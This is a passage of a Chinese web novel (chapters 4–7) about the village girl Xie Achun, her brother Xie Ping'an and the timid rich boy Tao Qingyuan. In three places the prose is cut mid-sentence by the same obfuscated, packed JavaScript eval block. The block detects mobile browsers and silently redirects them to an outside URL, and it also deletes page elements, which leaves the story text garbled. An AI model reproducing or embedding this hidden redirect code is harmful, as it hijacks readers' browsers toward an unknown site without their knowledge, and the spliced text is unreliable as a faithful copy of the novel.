谢阿春并不害怕,她知道谢平安肯定能找到她,不过是时间问题。 她干脆席地而坐,一手托腮,一手将弹弓挂在指尖,随意地转着,消磨时间。 这是她的第二个弹弓,却是谢平安给她做的第一个。 七岁那年,谢叔用槐树枝给她削了第一把弹弓。谢叔是个读书人,并不擅长手艺活儿,那个弹弓很粗糙,没多久就坏了。谢叔下葬时,她把断掉的弹弓放在了棺材里,一道埋进了地下。 往后很久她没再用过弹弓,直到去年生辰,谢平安送了她一个新的。新弹弓用更坚硬的榆木做架,鹿筋做绳,威力比之前大了不知多少,她嘴上不说,实际上很喜欢,几乎从不离身。 谢阿春想着乱七八糟的事,也不知外头过去多久,忽然听见一阵靠近的脚步声,她一振,立刻扬声道:“有人在外头吗?” 那脚步顿了顿,像是反应了片刻,才有一道稚嫩中带着三分胆怯的声音询问:“谁……谁在说话?” 听声音竟像是个小孩,谢阿春道:“我在下面,我被困住了,你能帮我去喊人吗?” 那小孩道:“你在哪儿?我看不到你。”说着往这边走了走。 “哎,你别——” 还没说完,坑口就豁然洞开,伴随着各种树枝断裂的噼啪声,一团白色的影子咚地砸了下来! 谢阿春眼睁睁看着他掉到面前,僵硬地补上没说完的字:“靠近……” “我都说了我在下面,你怎么还往这边走?”谢阿春震惊且不解,这小孩是不是有点蠢? 那白色的一团夹在枯枝落叶里,半晌没动,谢阿春上前扒拉了两下:“喂,你没事吧?”这坑算不上多深,底下也没硬物,不至于摔死人吧? 蜷成一团的影子微微颤了颤,谢阿春使了点力气把人翻了个个儿。 这一翻过来不要紧,才看见一张被泥土弄脏的小花脸,一道惊天动地的哭声就破空而起,硬生生吓了谢阿春今天第一跳。 “呜呜呜,我的脚,好疼——” 谢阿春耳膜嗡嗡响,蹙眉道:“别哭了!喂,别哭了!” 根本没用,无论她怎么说,眼前人就是哭个不停。 谢阿春捂住耳朵,声音还是直往脑子里钻,没办法,只好去看他的脚,拨掉碎叶,这才看到他靴上破了一块,这鞋履也不知道什么布料,轻得好像云雾,怪不得一刮就破,哪里是常走路干活的乡人穿的? 荒郊野外,这是从哪儿蹦出来的富家少爷? 等脱掉鞋袜,只见他脚踝上蹭破了一小块皮,洇出的血迹早已干涸,谢阿春翻了个白眼,从他那身一看就很值钱的衣服上撕了两块碎布,草草打了个结,开口道:“好了。” 小少爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644013|172734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抽抽噎噎地止了哭,长睫毛抬起看了看她,又看向包得十分难看的脚,欲言又止。 谢阿春挑起一边眉毛:“干嘛?” 他道:“小翠她们都会给我吹一吹……” 谢阿春:“……”吹你个头啊! 谢阿春好险没给他来上一拳,往后一仰靠在壁上,眼不见心不烦地阖上眼。 坑底安静了些许,片刻又响起窸窸窣窣的声响,谢阿春不耐烦地睁眼,正往她身边爬的某人立刻顿了顿。 “我、我能坐你旁边吗?” 谢阿春很敷衍:“随便。” 小少爷却很高兴,三两下蹭过来,挨着她坐下,谢阿春很不习惯与人挨得这么近,但余光瞧见他含着泪光的红眼睛,到底默默忍了。 两人静静坐了一时。 没了遮挡,日光透过洞口斜斜射入,谢阿春计算了下,觉得再不久就该日落了,她竟然掉下来这么久。 “你叫什么名字呀?”一旁的人忽然小心翼翼道,“我叫陶清远,清水的清,遥远的远。” 谢阿春在想谢平安找不到她,这会儿不知道急成啥样,一时没理会。 陶清远也不气馁,很积极地向新朋友介绍自己:“我住溪北,是新搬来的,你住附近吗?我是之前在扬州庐江住,你就是山阴人吗?你喜欢干什么?我喜欢用草编蚱蜢,还是跟小翠学的,你看,这是我编的……” 他献宝似的从腰上取下一个竹篾编成的精致小笼,打开盖子,里头装了好几只嫩绿的草编蚱蜢,正要伸手掏,才发现新朋友似乎一点不感兴趣,眼皮一耷头一垂,低落两个字几乎写在了脸上。 很快又想通似的,把盖子一合,双眼亮晶晶地对谢阿春道:“那你来我家玩吧?我家有很多玩具,还有很大的院子,捉蚱蜢和萤火虫都可以,有时候还能看见鸟……” 谢阿春终于偏头看了他一眼:“什么鸟?” 陶清远受宠若惊,立刻针对自家院子滔滔不绝地说起来,但他年纪许是小些,对鸟也没什么研究,说着说着就跑偏了,谢阿春听得兴致缺缺。 耳边的喋喋不休声越来越远,谢阿春头一点一点,不知何时睡着了。 迷糊中,好像有一团东西往她身边又挨近了些,发出还带着哭腔的声音:“好冷啊……我们要冻死在这儿吗?” “呜呜,娘亲,你在哪……我再也不乱跑出来玩了……” “娘亲,我想回家……” 谢阿春做了个很长的梦。 梦里有一轮柔和的月亮,长出了手,把她从冰天雪地里抱了起来,放在了怀里,她想,月亮原来是热的。而后月亮晃啊晃,带着她朝前走去,身后寒冷的景色渐渐远去,越往前走,道旁越开出漂亮的花。 她觉得无比轻盈,无比快乐,于是问月亮:“我们去哪?” 月亮说:“我们回家,阿春。” 而后梦醒了。 她睁开眼,眼前并没有月亮,只有一片洗得褪色的靛蓝衣裳,还有掌心下瘦弱却叫人安心的肩膀。 “阿春?”谢平安偏头道,“吵到你了吗?” 她往旁边扫了扫,望见一条过节长龙似的队伍,从旁匆匆游过,各个举着火把,七嘴八舌地叫着“少爷”。 她怠懒地把头耷在谢平安肩膀上,洞里落了草叶的双丫髻左右摇了摇。 谢平安:“睡吧,就快到家了。” 身后没有回应,久到谢平安以为背上人已经睡着时,忽然听见一句:“谢平安,我原谅你了。” 谢平安愣了一瞬,继而笑弯了眼:“好。” 5. 第 5 章 谢阿春和谢平安和好了。 早上吃饭的时候,谢平安一边给她盛粥,一边道:“你怎么会和陶家的小少爷在一块儿?” 谢阿春夹了筷凉拌莼菜,含糊道:“你说陶清远?他自己乱跑,和我没关系。” 谢平安笑道:“我们阿春又有新朋友了。” 谢阿春撇嘴:“算了吧,我可不想和娇气少爷一块玩,哭起来吓人的很。” 正说着,院外传来呼唤声:“请问这是谢家吗?阿春小姐在家吗?” “阿春小姐”狐疑地指了指自己:“这是叫……我?” 谢平安放下碗筷:“我去看看。” 谢阿春坐不住,跟在后头出去,只见一个衣着得体的老人站在篱笆门外,身后跟了几个捧着东西的小厮。见谢平安出来,面上立时带了笑,待见到跟在后面的谢阿春,笑容更甚。 他躬身行了一礼:“方才还怕拜错门庭,一见小少爷,我就知道错不了,这般神仙似的样貌,十里八乡怕是再也找不出第二个。” 谢平安忙将人迎进院中:“谬赞了,平安愧不敢当,阁下叫我平安就好,不知阁下是……” “瞧我这记性,见了二位光顾着高兴,连礼数都忘了,小少爷千万莫怪!”曾管事笑容可掬,“鄙人是陶家管事,姓曾,叫我老曾就行,今日登门,乃是代我家主子为昨日搭救我家少爷之事聊表谢意。些许薄礼,还请小少爷一定收下。” 曾管事示意身后小厮上前,将手中木箱放在地上。从左到右四个箱子,一一打开,从银钱首饰到布料毛皮,应有尽有。其中一个,竟放了一整套文房四宝,还有几本书册。 曾管事道:“听闻小少爷幼时喜读书,不知如今可还依旧?时间仓促,未寻得上好的端砚,但这纸笔墨石均是上佳,还望小少爷不弃。” 谢平安整个人都顿住了,盯着这个箱子半晌没挪眼,良久回神,忙回礼:“平安喜不自胜,多谢管事,还请替我和阿春多谢家主美意,但如此重礼,我们着实受之有愧……” 曾管事道:“小少爷不必如此拘礼,我家少爷能平安无事,多亏了阿春小姐和你,此事何能以物量之?一些俗物而已,本也不值多少钱,小少爷切莫推辞。” 两人推拒一番,到底谢平安拒绝不过,便收下了。 谢平安道:“听管事有建康口音,莫不是建康人士?” 曾管事笑道:“确实如此,小少爷如何听出?” “家父乃建康人士,平安幼时也曾在建康居住,”谢平安再行一礼,“既有同乡之旧,不知管事可否允平安叫一声曾叔?” 曾管事捋着胡须哈哈一笑:“自然可以!那我便倚老卖老,叫你一声平安了,不知平安少时与谁读书?” “九岁前在建康念私塾,来山阴后,跟着家父也学了一些……” 曾管事点点头:“读书好啊,读书好,能教出你这样小小年纪礼数周全,聪慧伶俐的儿子,想来你父母定都不俗……” 他忽地跳过话头,看向谢平安身后:“这就是阿春吧?” 谢阿春最厌烦听这些客套,又对这个曾管事莫名没有好感,冷不丁听见自己名字,心里的不耐几乎写在脸上:“干嘛——” 谢平安在底下悄悄拽了拽她的袖子,谢阿春憋住气,用力抽走,努力缓和声气:“……是我。” 谢平安歉然道:“阿春年纪小,还有些不懂事,曾叔多担待……” “不妨事,不妨事,这正是赤子之心,天然率直!” 曾管事矮下身段,对着她笑:“阿春呀,还记不记得昨日和你一道的那个小男孩?” 谢阿春道:“那个哭起来像几十头驴嗷呜嗷呜响个不停的?” 曾管事呛了一下:“咳……我家小少爷很喜欢你,想让我来请你去陶家玩两天,你愿不愿意?” 谢阿春从鼻子里哼出一口气:“他喜欢我,我就要和他玩吗?再说了,他自己怎么不来?” “这……”曾管事犯了难,“我家少爷鲜少出门,昨天已是破例,夫人知道了,正罚他呢,他就是有心,也出不来呀。阿春小姐原谅他吧。” 谢阿春大手一挥:“我不管,让他自己来,不然没商量!”说完扭头就走,也不管身后曾管事怎么叫唤。 谢阿春坐回饭桌前,抓着筷子却吃不下饭,等了一阵,听见门槛有动静,筷子一扔就叫起来:“谢平安,你怎么变成这样了?” 谢平安刚安顿好那几口箱子,一进门就被这句话砸中脑门,有些莫名:“我?” 谢阿春怪腔怪调地学道:“‘曾叔曾叔’,我怎么不知道谢叔什么时候多了个兄弟?” 谢平安无奈:“阿春,这是客气话,我总不能真叫他老曾,再说人家管事亲自登门,总不能不讲礼数……” 谢阿春:“那你叫他曾管事就好了呀,别以为我不知道,城里那些拉客的小二,都爷爷叔叔婶子娘地叫,你和他套什么近乎?” 谢平安沉默了,谢阿春更觉得自己有理,站起来道:“你忘了谢叔说什么?武力不能屈,贫穷不能移……” 谢平安纠正:“是富贵不能淫,贫贱不能移,威武不能屈,出自《孟子》……” 谢阿春涨红了脸:“我知道!我不会背,但道理都记得,你倒是背的顺,可你照着做了吗?谢叔才走了三年,你就都忘了!” 谢平安叹了口气:“我没有忘,只是人总要先活着,才能讲气节,爹总惦记着祖上的门第出身,家世庭训,也不看看谢家没落都过去多少年了。” “当初有人提拔他做县丞,他一开始还瞧不上。建康又不是别处,这明摆着是个大好的机会,做的好了,怎么不能有一番作为?娘亲好说歹说,总算劝他赴任,谁料他在任上到处得罪人,只做了三个月就被赶下来了,又成了校书吏,到后来连建康城都呆不得,被人赶到这里,连累娘亲也受尽了罪。” 谢阿春想反驳两句,却说不出话来。 “陶家是富户,他家小少爷看起来也不难相处,又有意和你结交,你和陶家拉近关系,以后我……你也好有人照料。” 谢阿春听得心慌,不由得发脾气:“谢平安你说什么呢?你想把我丢给旁人?我就知道你嫌弃我——” “阿春,”谢平安叹道,“我累了。” 谢阿春噤了声。 “吃饭吧,好么?”谢平安眼神疲惫地望着她。 谢阿春站了片刻,不发一语地坐回椅子上,谢平安也拿起筷子,照例给她夹菜,只是谁都没再说话。 一顿饭吃得反常安静。 “谁要他照顾,”吃过饭后,谢阿春一个人出了门,边走边踢石头,“臭谢平安,还当我是小孩儿!” 谢阿春一脚把石头踹飞老远:“我自己也能照顾自己!” 忽然,前头传来喧哗声,谢阿春才发现她漫无目的地乱逛,竟然又逛到村口。 她手搭凉棚,眯眼眺望。前面大榕树下,正踩着一个人,趾高气昂说话的,好像是李铁柱? 谢阿春先入为主,认定他又在欺负人,立刻高声喝止:“喂!李铁柱——” 李铁柱抬起头,见是她,停下动作道:“有事?” 谢阿春走到近前,地上那人痛吟一声翻了个身,露出半张贴满黑色膏药的脸,竟然是赵小宝! 谢阿春连连摆手:“没事没事,你继续。” 李铁柱一只脚还踩在他身上,冷哼道:“这小子居然敢骗我,和我说是抓狐狸,居然是去算计你,还差点搭上个什么少爷,闯这么大祸,还敢说是我让他去的!” 说着又是一脚,踹得赵小宝嗷一嗓子:“谁给你胆子往我头上泼脏水? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644014|172734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 谢阿春“啊”了声:“原来不是你让他埋伏我?” 李铁柱不满道:“你把我当什么人了?” “我李铁柱要当号令天下、惩奸除恶的武林大侠,你见过哪个英雄豪杰,会暗地里给人使绊子?” 谢阿春“扑哧”一声,难得真情实感地笑了,这一笑,总是没什么表情的脸霎时显出灵秀生动的本色,眼角眉梢都飞扬起来。 李铁柱看得愣了愣,莫名有些窘迫,硬邦邦道:“你笑什么?” 谢阿春揶揄道:“我没见过哪个大侠到处占山为王的,你说的那是土匪。” 李铁柱微黑的脸泛起红来:“你懂什么,真正厉害的大侠都圈地占山的,那叫开宗立派!” 谢阿春:“那依我看,你说的大侠和土匪也没什么不一样。” 李铁柱说不过她,干脆又给了赵小宝一脚。 谢阿春望了望四周:“王二丫她们呢?” 李铁柱沉默不语,他身后的小弟倒是开了口:“这儿现在归铁柱哥管,是我们的地盘!她们当然不能在这里玩,还有你,你也快走!” 谢阿春瞧着李铁柱,李铁柱眼神左躲右闪,就是不和她对视。 这样下去总归不是办法,谢阿春想着,说道:“李铁柱,说个法子吧,怎么才肯让大家一道在这儿玩?” 李铁柱欲言又止,几个小弟便又叫起来:“谢阿春,哪儿都有你出头,你打不过我们铁柱哥,就别来多管闲事。” 谢阿春道:“上回要不是被谢平安拦下,你怎么知道我打不过他?不然再来一场?” 李铁柱终于憋出几个字:“呃,别了吧……” 他胳膊上还青一块紫一块呢。 谢阿春:“那比什么?” 李铁柱烦躁地抓了抓头发,松散的发髻被他抓得更像草窝:“要不别……” 一个小弟紧跟着吹捧:“铁柱哥说得对,要不别比,要比就比个大的!” “就是,光打架有什么意思,那叫什么,有勇无谋!” “听说最近溪北搬来个人家,好像姓陶,是个有钱人,家里好多宝贝呢……有了!谁能把陶家最值钱的东西拿出来,谁就赢了,怎么样铁柱哥?” 说话的人一脸谄媚地冲李铁柱笑,邀功似的,全然没发觉李铁柱脸都黑了。 其余人也起哄:“谢阿春,你不会怕了吧?” 谢阿春本来还在犹豫,一听这话,顿时应道:“谁怕了?就这么定了,我要是把陶家最值钱的宝贝带出来,你们——” 她伸手一指几个小弟,又移向李铁柱:“还有你,都得听我的。” 几人嘴上应好,实则都在窃笑,道她个子怕是都没人家院墙高。 谢阿春也不理会,转头要走,手腕却被人拉住了。 “谢阿春,”李铁柱凑近她低声道,“别胡闹了,你还真打算去不成?” “为什么不去?”谢阿春拉长音“哦”了一声,“你怕啦?那现在认输还来得及。” 李铁柱脸色发青:“你怎么长成这种鲁莽好胜性子的,你哥从来不管你的吗?” 不提谢平安还好,一提谢平安,谢阿春原本还剩五分玩笑的心思立刻十分坚定,把袖子一抽,冷冷道:“关你什么事?” 李铁柱耐心道:“不比也成,我可以让——” “用不着你让,”谢阿春道,“且等着吧,明日此时此地,我定叫你们心服口服。” 谢阿春转身得十分潇洒,但走出一段路后,热血慢慢消退,便生出悔意来。 且不说她上午刚对陶家管事放出豪言,说绝不主动上门,单看那天晚上的寻人队伍,陶家护院就肯定不少,要进去找到宝贝,再带出来,谈何容易? 何况,谢阿春绞尽脑汁地想,陶家到底什么宝贝最值钱? 6. 第 6 章(修文) 拖了一下午,最终还是不得不走这一趟。天色擦黑时,谢阿春终于站在了陶家大门前。 村里小孩都知道,溪北过了石桥有个大宅子,传言说是某个曾经的大官回乡后的居所,只是已经空了许多年,传言也不知真假。 谢阿春小时候还来这边玩过,那时这里杂草丛生,大门也老旧斑驳,她们还从倒塌的墙洞翻进去捉过迷藏。 如今却完全不一样了。整座宅子被人重新盖了一遍,院墙高耸,瓦片齐整,黑漆的大门刷得锃亮,左右两个石狮子威风凛凛,正上方挂了块匾额,谢阿春不大认得字,但猜也是陶府。 她在门口站了半晌,犹豫着不想敲门。 要说宝贝,还有什么能比陶家的小少爷更值钱? 谢阿春这一趟,就是带着拐跑陶清远的心思来的,但早上她刚放了狠话,口口声声陶清远不来找她,她绝不主动上门,哪有晚上就打脸的道理? 而且她记得那管事的说,陶清远因为乱跑正被他娘关在家里罚,能不能出门还不知道,若是他娘不让,她还得想别的办法。 眼看时间一点点过去,若是回去的太晚,被谢平安发现又有一堆麻烦,谢阿春深吸一口气,把心一横,上前拍门。 她踮脚想够铜环,却没摸着,干脆咚咚敲门。好一会儿,才听到有人不耐道:“谁呀?大晚上敲什么?” “请问是陶清远家吗,我叫谢阿春,我来找——” 话没说完,门就开了,应门的仆人十分热情:“哎呀,真是阿春小姐?快请进,快请进,少爷因着今天小姐没来,刚才还和下人闹呢。” 谢阿春被他欢欢喜喜地迎进门,一点看不出方才不耐烦的模样。 谢阿春早对陶清远的有钱做过想象,但实打实见到,还是被陶府之大、道路之复杂震惊了。一路走来,叫不出名字的花草看得她眼花缭乱,看得出来,府里的主人很喜欢这些。 “少爷这两日被夫人罚在屋里抄书,已经一天没出门了,白日就闹,方才都准备歇下了,偏偏又吵着明天出门,可给小翠她们愁坏了,幸好小姐来了……对了,小姐明日可否早些来?若是住得远,府上可以派车去接。” 谢阿春试探道:“陶清远明天也不能出门吗?半天也不行?” 仆人苦笑:“夫人说了,要他反思七日,一天都不能少,要不然,下人们也不至于这么头疼。” 谢阿春心凉了半截,看得出来陶府上下是陶清远他娘说了算,而且此人似乎十分严厉,说一不二。这下可怎么办?她答应了明天早上去应赌约。 谢阿春正在心里盘算,忽然听见远处一声大叫:“抓贼啊!抓贼——” “有贼?!”前头的仆人顿时站住了。 府里各处都传来嘈杂的动静,护院的脚步声、呼喝声交杂着,令人莫名紧张。 “少爷的院子就在前头,”仆人有些着急,“阿春小姐,咱们走快些吧,等把你送到,小的得去看看怎么回事。” 谢阿春跟着他走了两步,余光里忽然有什么一闪而过,她敏锐地转头,盯住那处草丛:“谁在哪儿?” “阿春小姐?”仆人疑惑道。 墙角边有一处假山,周围种了几丛月季,夏夜无风不摇,一切看上去都没有异常,谢阿春却缓缓按住了腰侧的弹弓,双眼一瞬不瞬地盯着假山后。 “有、有人吗?”仆人也有些害怕,“阿春小姐,你站到小的身后……” 就在这时,一个黑影猛地从假山后闪出,几乎在树叶摇动的同一刹那,谢阿春也跟着窜了上去:“站住,别跑!” 身后仆人大叫:“阿春小姐,危险,快回来,阿春小姐——” 谢阿春充耳不闻,她像一头锁定了猎物的小豹子,视野里只有前方穿着黑衣的人影,任何细微的动作都逃不过她的眼睛,每一次黑衣人要转弯的前一刻,她都能提前判断出他要往哪儿躲。 黑衣人发现谢阿春一直跟在身后,就专往小路钻,谢阿春追不上他,但也没被他落下,始终不远不近地缀在他身后。 谢阿春呼吸声逐渐粗重,神经却越发兴奋,浑身的血液奔涌,她脚步又快了几分,黑衣人往后瞟了一眼,低低骂了一声,钻进一条小巷道。 谢阿春心念电转,没追着他进去,反而扭头转向了右边的路。这几番追逐下来,她也差不多摸清了陶府宅子的布局,陶府虽然大,但每个院子格局差不多,角落都有一扇小门,许是供下人走动,经常是开着的,只要抄近路,她就能在前面堵住他。 谢阿春闯进一个好像是下人住的院子,院里晾晒着换洗的衣裳,一个女人正在井边打水,谢阿春像阵风一样掠过她身侧,吓得她桶都掉回了井里:“哎哟,你是谁呀?” 谢阿春三步并作两步来到后院角门处,一墙之隔的脚步声已经十分清晰,谢阿春一鼓作气,在距离门口还有几步时,腰身一拧,紧贴地面侧滑而出,疾跑的力道带着她,像一柄弯刀激射而出,正正撞上刚好跑过门口的人影! 黑衣人万万没想到她会从这里冲出来,整个人被绊飞出去,重重摔在地上,怀里掉出一个包袱,丁零当啷洒了一地物件,他顾不得捡,踉跄起身就要再跑。 没跑两步,一颗石头倏地打在他膝窝,男人痛呼一声,噗通栽倒,这一下许是不轻,男人躺在地上不住翻滚。 谢阿春收起弹弓,上前一把扯掉他面巾,男人正要说话,谢阿春膝盖一沉,又顶上他肚子。 “等等!”男人一口气差点没上来,“你下手也太重了!” 他艰难道:“夫人安排你来的?” 谢阿春愣了一下,才发现他竟一点没挣扎,不等她想明白,陶家的护院一窝蜂地赶来,将男人五花大绑。 “阿春小姐!”方才应门的仆人拉起她,慌张道,“阿春小姐可千万莫乱跑了,出了事可怎么办……” 眼瞧那男人要被带走,谢阿春忽然拽住一个护院:“你们要带他去哪儿?” 护院看了看她,又询问似的看向应门的仆役,才道:“抓到贼人,自然要带到夫人处。” 谢阿春盯着那黑衣人,他臊眉耷眼地垂着脑袋,一点不像一个被抓现形的贼。 其中定有古怪。 “这人是我抓到的,”谢阿春道,“我也要去。” 仆人迭声地劝:“阿春小姐,别闹了,少爷还等着你呢……” 谢阿春坚持:“带上我一起,不然我哪儿也不去。” 仆人与护院面面相觑,都不知如何是好,最后还是那护院一锤定音:“带上她吧,再迟下去,夫人那里不好交代。” 一行人收拾好地上的物件,押着男人往主院行去。 来到一处明显阔气许多的院门外,一名护院先进去通报,片刻后出来,挥手让押着男人的几人进去,待谢阿春要上前时,却被拦下。 “夫人说了,阿春小姐不能进,”护院看向她身后的仆人,“带阿春小姐去少爷院里。”说完转身进了门。 仆人面露难色:“阿春小姐,走吧。” 谢阿春知道,想从正门进去定然是不能了,也不扯皮,干脆地跟着仆人去找陶清远。 仆人说陶清远正被罚关禁闭,出不去院子,今日又没见到她,刚才还在闹。 谢阿春不大相信,她和陶清远就见过一面,哪至于这样? 但很快她就发现仆人没说谎。 才进院门,就听见一声直冲脑仁的哭嚎:“我都抄完书了,为什么明天也不能出去?我要去找阿春!” 一个女声低声劝着:“莫哭了少爷,叫夫人听见,下个月你都出不去,曾管事今天去溪南请了,阿春小姐有事才没来,明天一定能到。” 陶清远抽抽噎噎:“真的?” 仆人把她送到便匆匆走了,谢阿春在屋外站了半晌,听到这里,忽然生出逗弄的心思来,便清清嗓子,唤道:“陶清远。” 屋里静了一刹,忽然响起蹬蹬的脚步声,门刷地拉开,一个穿着寝衣,赤脚披发的男孩跑了出来,眼角眉梢都是喜色。 “阿春?是阿春吗?” 一个丫鬟模样的女子紧跟着出来,警惕地左右望了望:“少爷,哪有人呀?” 谢阿春猫着腰,躲在回廊阶下,捂着嘴努力不发出声音。 门前传来走动的脚步声,似是陶清远将院里看了一遍又一遍:“可是我方才分明听见有人喊我。” 丫鬟道:“许是少爷太惦记阿春小姐,听岔了。” 半晌没有动静,谢阿春狐疑探头,这一瞧,只见陶清远站在昏黄的灯笼下,低着头,抿着唇,眼圈红了一片,任谁看了都觉得十分可怜。 久违地感到愧疚,谢阿春嘴比脑子更快一步:“喂,陶清远,我在这儿。” 她刚站起身,眼前就一花,怀里仿佛撞上一只软乎乎、暖融融的小动物,劲儿大得她往后一个趔趄。 陶清远抱着她,激动不已:“阿春!真的是你!” 谢阿春尴尬得手都不知道往哪儿放:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644015|172734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……你先放开再说话。” 她很震撼,也很不解,村里和她年纪相仿甚至更小的孩子,都早不兴这样搂搂抱抱,陶清远怎么有这个毛病?何况他们才见了两面! 怪不得陶母不叫他出门,他这样,出去没几天不就让人拐跑? 那边丫鬟跑过来,好说歹说,总算哄得陶清远放开谢阿春,面带歉色地对她笑了笑。 “阿春,你怎么这么晚才来,我等你好久。”陶清远拉着她衣角,一边往屋里走,一边道,“我又编了好几只蚂蚱,我给你看。” 他笑容灿烂,谢阿春忽然发现,这小少爷笑起来时颊边竟有两个酒窝,那张小花脸洗干净后,也颇为清秀。一双杏眼又黑又亮,谢阿春能从他的眼睛里,清楚地望见自己。 谢平安的眼睛也很清澈,她忽然漫无边际地想,但湖水和溪流总是不一样的。 “阿春,你在想什么呀?”陶清远五指在她眼前晃了晃,见她回神,捧出一堆自己编的各式各样的草蚂蚱,羞涩一笑。 “你瞧,都是我编的!” 谢阿春捻起一只,在眼前打量:“你怎么这么喜欢编这些?”他一个有钱人家的少爷,应该多的是其它玩乐的法子。 陶清远眼神迅速失落:“因为没人愿意陪我玩……” “怎么会,你一个富家少爷,多得是人想做你玩伴吧。” “以前我和爹娘在舒城住,”陶清远垂眸道,“和爷爷奶奶,叔伯婶婶们在一块儿。陶家很大,小孩也很多,但不知道为什么,他们都不喜欢和我玩,说我爱哭。” 这倒没说错,谢阿春腹诽。 “他们还踩坏我的蹴鞠,打开笼子放走我养的鹦鹉,”陶清远说着,眼眶又红了,“我和娘亲说,娘亲却更生气了,说我和我爹一样,没出息,被人欺负都不知道还手,爹死后,娘亲就更不让我出门了。” 谢阿春蹙眉。 “我知道娘亲是为我好,”他吸了吸鼻子,“爷爷奶奶死后,叔叔伯伯们想分家,我爹还在的时候就不管事,他不在了,就剩我娘一个,我虽然不太懂,也知道我娘肯定比我更受欺负,她不让我出门,也是为了保护我。” “我不想给娘添麻烦,就自己和自己玩,”陶清远胡乱拿袖子蹭了蹭眼睛,朝着她笑出两个酒窝,“不过现在有阿春陪我啦,你不会欺负我,对吧?” 谢阿春不了解这些大家族里乱七八糟的事,她自小是个绝不吃亏、能动手不动口的性子,没有李铁柱之前,清溪村也没人能欺负的了她,对陶清远的遭遇,实在无法感同身受。 但对着陶清远希冀的目光,谢阿春鬼使神差地应道:“自然,以后在清溪村……不,不管在哪儿,有我在就不会让人欺负你,你放心好了。” “真的?”陶清远眼睛仿佛被点亮。 谢阿春撇嘴:“我谢阿春从来不说假话。”她伸出小指指,“不信就拉钩。” “信,我信!”陶清远忙不迭伸手,紧紧勾住她,迫不及待地晃了晃,说完誓词,灿然一笑,“这下你不能反悔啦!” 谢阿春陪他玩了一阵子九连环,陶清远兴致很高,谢阿春念着方才抓贼的事,却坐不大住,陶清远瞧出了她的不安,主动问道:“怎么啦?” 谢阿春想了想:“你知不知道有什么法子,能去你娘院里?不走大门的那种。” 陶清远愣了愣:“是有小门,但你去做什么呀?” 谢阿春跟他说了古怪的贼,陶清远挠挠头,有些苦恼:“娘亲不让我出院子,要是被她发现,我又要受罚。” “那就算了。”谢阿春也就是一问,没真指望陶清远这个胆小性子能做点什么。左右她只是好奇,去不成也无妨。 谢阿春不再说话,陶清远也好像对手里的九连环忽然失了兴致,他咬着唇,时不时偷觑一眼谢阿春,蓦地起身,壮士断腕般道:“我带你去!” 谢阿春神色惊讶,陶清远冲她比了个嘘的手势,打开门唤道:“小翠!” 守在门外的那丫鬟立时出现,陶清远咳嗽了两下,说道:“我有些饿了,你去厨房帮我拿些吃的。”一句话说的僵硬无比,谢阿春一听就知道他不会说谎。 小翠倒未起疑,像是已经见怪不怪:“阿春小姐可也要?” 谢阿春连连摇头。 小翠便行礼,嘱托了两句莫要乱走之类的话,就离去了。 她一走,陶清远立刻低低欢呼了一声,跑过来拉起谢阿春的手:“走,我带你去我娘院里!” 7. 第 7 章(修文) 陶清远答应得犹豫,真做起这等偷鸡摸狗的事来,却好像比谢阿春还积极。领着她熟练地避开巡逻的护院,在府里七拐八绕,不多时就溜到一个小门外。 “阿春,来呀。”陶清远打开那扇门,见左右无人,回头冲她招手。 谢阿春猫着腰飞速跟上,忍不住道:“你不是第一次了吧?”偷溜什么的,也太熟练了。 陶清远腼腆地笑了笑,脸颊酒窝若隐若现:“为了昨天偷溜出府,我提前踩了一个月点。” 谢阿春:“……看不出来啊。” 陶清远不解:“什么?” 谢阿春没说话,她听见前面传来女人的说话声,想来已经到地方了。 二人找了个屋后的拐角藏好,悄悄探头往外望。 这是一个很气派的院子,谢阿春一路走来见到的那些花花草草,好像都能在这里找到。但此刻,那些精致的花草却好像被什么无形的阴影笼罩,透出一股沉冷的气息。 庭院里或站或跪几个人,跪着那两个,一个男人谢阿春不认得,另一个正是那古怪的贼。 回廊下坐了个女人,她侧对谢阿春,穿一身紫衣,梳高耸发髻,露出的半张侧脸十分年轻,却有着叫人不可忽视的气度。 谢阿春仔细看了几眼,回头瞧了瞧陶清远。 她凑得太近,陶清远被她头发搔到鼻尖,差点打出喷嚏,忍不住用气声道:“阿春,你在看什么呀?” 谢阿春道:“我在想,为什么几乎一样的眼睛,长在不同的人脸上差别这么大。” 陶清远眼神茫然,那双在陶母脸上沉静又不失威严的杏眼,愈发显出几分纯真的稚拙。 谢阿春:“……没事。” 另一边,回廊下的陶母再次开口,声音不急不缓:“梁天,事到如今,你还是不愿把曾立命你做过的那些事供出来?” 